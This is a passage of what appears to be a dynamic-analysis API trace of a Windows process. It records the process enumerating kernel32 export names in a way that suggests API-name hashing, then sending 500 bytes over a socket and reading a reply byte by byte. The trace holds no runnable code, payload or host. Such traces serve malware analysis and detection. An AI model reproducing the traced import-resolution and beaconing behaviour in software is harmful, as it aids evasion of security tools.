lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0056.589] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0056.589] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0056.589] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0056.589] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0056.589] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0056.590] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0056.590] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0056.590] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0056.590] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0056.590] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0056.590] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0056.590] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0056.590] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0056.590] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0056.590] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0056.590] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0056.590] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0056.590] lstrlenA (lpString="CREATETHREAD") returned 12 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0056.590] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0056.590] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0056.590] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0056.590] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0056.590] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0056.591] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0056.591] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0056.591] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0056.591] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0056.591] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0056.591] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0056.591] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0056.591] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0056.591] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0056.591] lstrlenA (lpString="CTRLROUTINE") returned 11 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0056.591] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0056.591] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0056.591] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0056.591] lstrlenA (lpString="DEBUGBREAK") returned 10 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0056.591] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0056.591] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0056.591] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0056.592] lstrlenA (lpString="DECODEPOINTER") returned 13 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0056.592] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0056.592] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0056.592] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0056.592] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0056.592] lstrlenA (lpString="DELETEATOM") returned 10 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0056.592] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0056.592] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0056.592] lstrlenA (lpString="DELETEFIBER") returned 11 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0056.592] lstrlenA (lpString="DELETEFILEA") returned 11 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0056.592] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0056.592] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0056.592] lstrlenA (lpString="DELETEFILEW") returned 11 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0056.592] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0056.592] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0056.592] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0056.592] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0056.592] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0056.593] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0056.593] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0056.593] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0056.593] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0056.593] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0056.593] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0056.593] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0056.593] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0056.593] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0056.593] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0056.593] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0056.593] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0056.593] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0056.593] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0056.593] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0056.593] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0056.593] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0056.593] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0056.594] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0056.594] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0056.594] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0056.594] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0056.594] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0056.594] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0056.594] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0056.594] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0056.594] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0056.594] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0056.594] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0056.594] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0056.594] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0056.594] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0056.594] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0056.594] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0056.594] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0056.594] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0056.594] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0056.594] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0056.594] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0056.594] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0056.594] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0056.594] lstrcpyA (in: lpString1=0x2c4eb6c, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0056.594] send (s=0x1fc, buf=0x630000*, len=500, flags=0) returned 500 [0056.595] shutdown (s=0x1fc, how=1) returned 0 [0056.595] recv (in: s=0x1fc, buf=0x2c4f830, len=1, flags=0 | out: buf=0x2c4f830*) returned 1 [0056.644] recv (in: s=0x1fc, buf=0x2c4f831, len=1, flags=0 | out: buf=0x2c4f831*) returned 1 [0056.644] recv (in: s=0x1fc, buf=0x2c4f832, len=1, flags=0 | out: buf=0x2c4f832*) returned 1 [0056.644] recv (in: s=0x1fc, buf=0x2c4f833, len=1, flags=0 | out: buf=0x2c4f833*) returned 1 [0056.645] recv (in: s=0x1fc, buf=0x2c4f834, len=1, flags=0 | out: buf=0x2c4f834*) returned 1 [0056.645] recv (in: s=0x1fc, buf=0x2c4f835, len=1, flags=0 | out: buf=0x2c4f835*) returned 1 [0056.645] recv (in: s=0x1fc, buf=0x2c4f836, len=1, flags=0 | out: buf=0x2c4f836*) returned 1 [0056.645] recv (in: s=0x1fc, buf=0x2c4f837, len=1, flags=0 | out: buf=0x2c4f837*) returned 1 [0056.645] recv (in: s=0x1fc, buf=0x2c4f838, len=1, flags=0 | out: buf=0x2c4f838*) returned 1 [0056.645] recv (in: s=0x1fc, buf=0x2c4f839, len=1, flags=0 | out: buf=0x2c4f839*) returned 1 [0056.645] recv (in: s=0x1fc, buf=0x2c4f83a, len=1, flags=0 | out: buf=0x2c4f83a*) returned 1 [0056.645] recv (in: s=0x1fc, buf=0x2c4f83b, len=1, flags=0 | out: buf=0x2c4f83b*) returned 1 [0056.645] recv (in: s=0x1fc, buf=0x2c4f83c, len=1, flags=0 | out: buf=0x2c4f83c*) returned 1 [0056.645] recv (in: s=0x1fc, buf=0x2c4f83d, len=1, flags=0 | out: buf=0x2c4f83d*) returned 1 [0056.645] recv (in: s=0x1fc, buf=0x2c4f83e, len=1, flags=0 | out: buf=0x2c4f83e*) returned 1 [0056.645] recv (in: s=0x1fc, buf=0x2c4f83f, len=1, flags=0 | out: buf=0x2c4f83f*) returned 1 [0056.645] recv (in: s=0x1fc, buf=0x2c4f840, len=1, flags=0 | out: buf=0x2c4f840*) returned 1 [0056.646] recv (in: s=0x1fc, buf=0x2c4f841, len=1, flags=0 | out: buf=0x2c4f841*) returned 1 [0056.646] recv (in: s=0x1fc, buf=0x2c4f842, len=1, flags=0 | out: buf=0x2c4f842*) returned 1 [0056.646] recv (in: s=0x1fc, buf=0x2c4f843, len=1, flags=0 | out: buf=0x2c4f843*) returned 1 [0056.646] recv (in: s=0x1fc, buf=0x2c4f844, len=1, flags=0 | out: buf=0x2c4f844*) returned 1 [0056.646] recv (in: s=0x1fc, buf=0x2c4f845, len=1, flags=0 | out: buf=0x2c4f845*) returned 1 [0056.646] recv (in: s=0x1fc, buf=0x2c4f846, len=1, flags=0 | out: buf=0x2c4f846*) returned 1 [0056.646] recv (in: s=0x1fc, buf=0x2c4f847, len=1, flags=0 | out: buf=0x2c4f847*) returned 1 [0056.646] recv (in: s=0x1fc, buf=0x2c4f848, len=1, flags=0 | out: buf=0x2c4f848*) returned 1 [0056.646] recv (in: s=0x1fc, buf=0x2c4f849, len=1, flags=0 | out: buf=0x2c4f849*) returned 1 [0056.646] recv (in: s=0x1fc, buf=0x2c4f84a, len=1, flags=0 | out: buf=0x2c4f84a*) returned 1 [0056.646] recv (in: s=0x1fc, buf=0x2c4f84b, len=1, flags=0 | out: buf=0x2c4f84b*) returned 1 [0056.646] recv (in: s=0x1fc, buf=0x2c4f84c, len=1, flags=0 | out: buf=0x2c4f84c*) returned 1 [0056.647] recv (in: s=0x1fc, buf=0x2c4f84d, len=1, flags=0 | out: buf=0x2c4f84d*) returned 1 [0056.647] recv (in: s=0x1fc, buf=0x2c4f84e, len=1, flags=0 | out: buf=0x2c4f84e*) returned 1 [0056.647] recv (in: s=0x1fc, buf=0x2c4f84f, len=1, flags=0 | out: buf=0x2c4f84f*) returned 1 [0056.647] recv (in: s=0x1fc, buf=0x2c4f850, len=1, flags=0 | out: buf=0x2c4f850*) returned 1 [0056.647] recv (in: s=0x1fc, buf=0x2c4f851, len=1, flags=0 | out: buf=0x2c4f851*) returned 1 [0056.647] recv (in: s=0x1fc, buf=0x2c4f852, len=1, flags=0 | out: buf=0x2c4f852*) returned 1 [0056.647] recv (in: s=0x1fc, buf=0x2c4f853, len=1, flags=0 | out: buf=0x2c4f853*) returned 1 [0056.647] recv (in: s=0x1fc, buf=0x2c4f854, len=1, flags=0 | out: buf=0x2c4f854*) returned 1 [0056.647] recv (in: s=0x1fc, buf=0x2c4f855, len=1, flags=0 | out: buf=0x2c4f855*) returned 1 [0056.647] recv (in: s=0x1fc, buf=0x2c4f856, len=1, flags=0 | out: buf=0x2c4f856*) returned 1 [0056.647] recv (in: s=0x1fc, buf=0x2c4f857, len=1, flags=0 | out: buf=0x2c4f857*) returned 1 [0056.647] recv (in: s=0x1fc, buf=0x2c4f858, len=1, flags=0 | out: buf=0x2c4f858*) returned 1 [0056.648] recv (in: s=0x1fc, buf=0x2c4f859, len=1, flags=0 | out: buf=0x2c4f859*) returned 1 [0056.648] recv (in: s=0x1fc, buf=0x2c4f85a, len=1, flags=0 | out: buf=0x2c4f85a*) returned 1 [0056.648] recv (in: s=0x1fc, buf=0x2c4f85b, len=1, flags=0 | out: buf=0x2c4f85b*) returned 1 [0056.648] recv (in: s=0x1fc, buf=0x2c4f85c, len=1, flags=0 | out: buf=0x2c4f85c*) returned 1 [0056.648] recv (in: s=0x1fc, buf=0x2c4f85d, len=1, flags=0 | out: buf=0x2c4f85d*) returned 1 [0056.648] recv (in: s=0x1fc, buf=0x2c4f85e, len=1, flags=0 | out: buf=0x2c4f85e*) returned 1 [0056.648] recv (in: s=0x1fc, buf=0x2c4f85f, len=1, flags=0 | out: buf=0x2c4f85f*) returned 1 [0056.648] recv (in: s=0x1fc, buf=0x2c4f860, len=1, flags=0 | out: buf=0x2c4f860*) returned 1 [0056.648] recv (in: s=0x1fc, buf=0x2c4f861, len=1, flags=0 | out: buf=0x2c4f861*) returned 1 [0056.648] recv (in: s=0x1fc, buf=0x2c4f862, len=1, flags=0 | out: buf=0x2c4f862*) returned 1 [0056.648] recv (in: s=0x1fc, buf=0x2c4f863, len=1, flags=0 | out: buf=0x2c4f863*) returned 1 [0056.648] recv (in: s=0x1fc, buf=0x2c4f864, len=1, flags=0 | out: buf=0x2c4f864*) returned 1 [0056.649] recv (in: s=0x1fc, buf=0x2c4f865, len=1, flags=0 | out: buf=0x2c4f865*) returned 1 [0056.649] recv (in: s=0x1fc, buf=0x2c4f866, len=1, flags=0 | out: buf=0x2c4f866*) returned 1 [0056.649] recv (in: s=0x1fc, buf=0x2c4f867, len=1, flags=0 | out: buf=0x2c4f867*) returned 1 [0056.649] recv (in: s=0x1fc, buf=0x2c4f868, len=1, flags=0 | out: buf=0x2c4f868*) returned 1 [0056.649] recv (in: s=0x1fc, buf=0x2c4f869, len=1, flags=0 | out: buf=0x2c4f869*) returned 1 [0056.649] recv (in: s=0x1fc, buf=0x2c4f86a, len=1, flags=0 | out: buf=0x2c4f86a*) returned 1 [0056.649] recv (in: s=0x1fc, buf=0x2c4f86b, len=1, flags=0 | out: buf=0x2c4f86b*) returned 1 [0056.649] recv (in: s=0x1fc, buf=0x2c4f86c, len=1, flags=0 | out: buf=0x2c4f86c*) returned 1 [0056.649] recv (in: s=0x1fc, buf=0x2c4f86d, len=1, flags=0 | out: buf=0x2c4f86d*) returned 1 [0056.649] recv (in: s=0x1fc, buf=0x2c4f86e, len=1, flags=0 | out: buf=0x2c4f86e*) returned 1 [0056.650] recv (in: s=0x1fc, buf=0x2c4f86f, len=1, flags=0 | out: buf=0x2c4f86f*) returned 1 [0056.650] recv (in: s=0x1fc, buf=0x2c4f870, len=1, flags=0 | out: buf=0x2c4f870*) returned 1 [0056.650] recv (in: s=0x1fc, buf=0x2c4f871, len=1, flags=0 | out: buf=0x2c4f871*) returned 1 [0056.650] recv (in: s=0x1fc, buf=0x2c4f872, len=1, flags=0 | out: buf=0x2c4f872*) returned 1 [0056.650] recv (in: s=0x1fc, buf=0x2c4f873, len=1, flags=0 | out: buf=0x2c4f873*) returned 1 [0056.650] recv (in: s=0x1fc, buf=0x2c4f874, len=1, flags=0 | out: buf=0x2c4f874*) returned 1 [0056.650] recv (in: s=0x1fc, buf=0x2c4f875, len=1, flags=0 | out: buf=0x2c4f875*) returned 1 [0056.650] recv (in: s=0x1fc, buf=0x2c4f876, len=1, flags=0 | out: buf=0x2c4f876*) returned 1 [0056.650] recv (in: s=0x1fc, buf=0x2c4f877, len=1, flags=0 | out: buf=0x2c4f877*) returned 1 [0056.650] recv (in: s=0x1fc, buf=0x2c4f878, len=1, flags=0 | out: buf=0x2c4f878*) returned 1 [0056.650] recv (in: s=0x1fc, buf=0x2c4f879, len=1, flags=0 | out: buf=0x2c4f879*) returned 1 [0056.650] recv (in: s=0x1fc, buf=0x2c4f87a, len=1, flags=0 | out: buf=0x2c4f87a*) returned 1 [0056.651] recv (in: s=0x1fc, buf=0x2c4f87b, len=1, flags=0 | out: buf=0x2c4f87b*) returned 1 [0056.651] recv (in: s=0x1fc, buf=0x2c4f87c, len=1, flags=0 | out: buf=0x2c4f87c*) returned 1 [0056.651] recv (in: s=0x1fc, buf=0x2c4f87d, len=1, flags=0 | out: buf=0x2c4f87d*) returned 1 [0056.651] recv (in: s=0x1fc, buf=0x2c4f87e, len=1, flags=0 | out: buf=0x2c4f87e*) returned 1 [0056.651] recv (in: s=0x1fc, buf=0x2c4f87f, len=1, flags=0 | out: buf=0x2c4f87f*) returned 1 [0056.651] recv (in: s=0x1fc, buf=0x2c4f880, len=1, flags=0 | out: buf=0x2c4f880*) returned 1 [0056.651] recv (in: s=0x1fc, buf=0x2c4f881, len=1, flags=0 | out: buf=0x2c4f881*) returned 1 [0056.651] recv (in: s=0x1fc, buf=0x2c4f882, len=1, flags=0 | 